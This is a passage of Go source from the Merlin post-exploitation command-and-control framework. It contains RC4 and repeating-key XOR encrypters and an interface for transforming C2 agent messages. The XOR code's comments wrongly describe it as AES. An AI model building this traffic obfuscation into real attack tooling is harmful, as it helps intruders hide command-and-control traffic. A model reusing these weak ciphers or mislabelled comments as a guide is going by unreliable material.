func (e *Encrypter) Deconstruct(data, key []byte) (any, error) {
return xor(data, key)
}
func xor(data, key []byte) (retData []byte, err error) {
retData = make([]byte, len(data))
cipher, err := rc4.NewCipher(key) // #nosec G401 intentionally using rc4 knowing it is insecure
if err != nil {
return []byte{}, fmt.Errorf("pkg/transformer/encrypters/rc4.Construct(): there was an error getting an RC4 cipher: %s", err)
}
cipher.XORKeyStream(retData, data)
return
}
// String returns the name of the encrypter
func (e *Encrypter) String() string {
return "rc4"
}
================================================
FILE: transformers/encrypters/xor/xor.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package xor encrypts/decrypts Agent messages
package xor
import (
"fmt"
)
// Encrypter is the structure that implements the Transformer interface for XOR encrypting/decryption
type Encrypter struct {
}
// NewEncrypter is a factory to return a structure that implements the Transformer interface
func NewEncrypter() *Encrypter {
return &Encrypter{}
}
// Construct takes data in data, AES encrypts it with the provided key, and returns that data as bytes
func (e *Encrypter) Construct(data any, key []byte) ([]byte, error) {
switch data.(type) {
case []uint8:
return xor(data.([]byte), key)
default:
return nil, fmt.Errorf("pkg/encrypters/aes unhandled data type for Construct(): %T", data)
}
}
// Deconstruct takes in AES encrypted data, decrypts it with the provided key, and returns the data as bytes
func (e *Encrypter) Deconstruct(data, key []byte) (any, error) {
return xor(data, key)
}
func xor(data, key []byte) (retData []byte, err error) {
retData = make([]byte, len(data))
for k, v := range data {
retData[k] = v ^ key[k%len(key)]
}
return
}
// String returns the name of the encrypter
func (e *Encrypter) String() string {
return "xor"
}
================================================
FILE: transformers/transformer.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package transformer provides encoding and encryption methods to transform Agent messages
package transformer
// Transformer is an interface used to transform Agent message data from one format to the next through encoding or encryption
type Transformer interface {
Construct(data any, key []byte) ([]byte, error)
Deconstruct(data, key []byte) (any, error)
String() string
}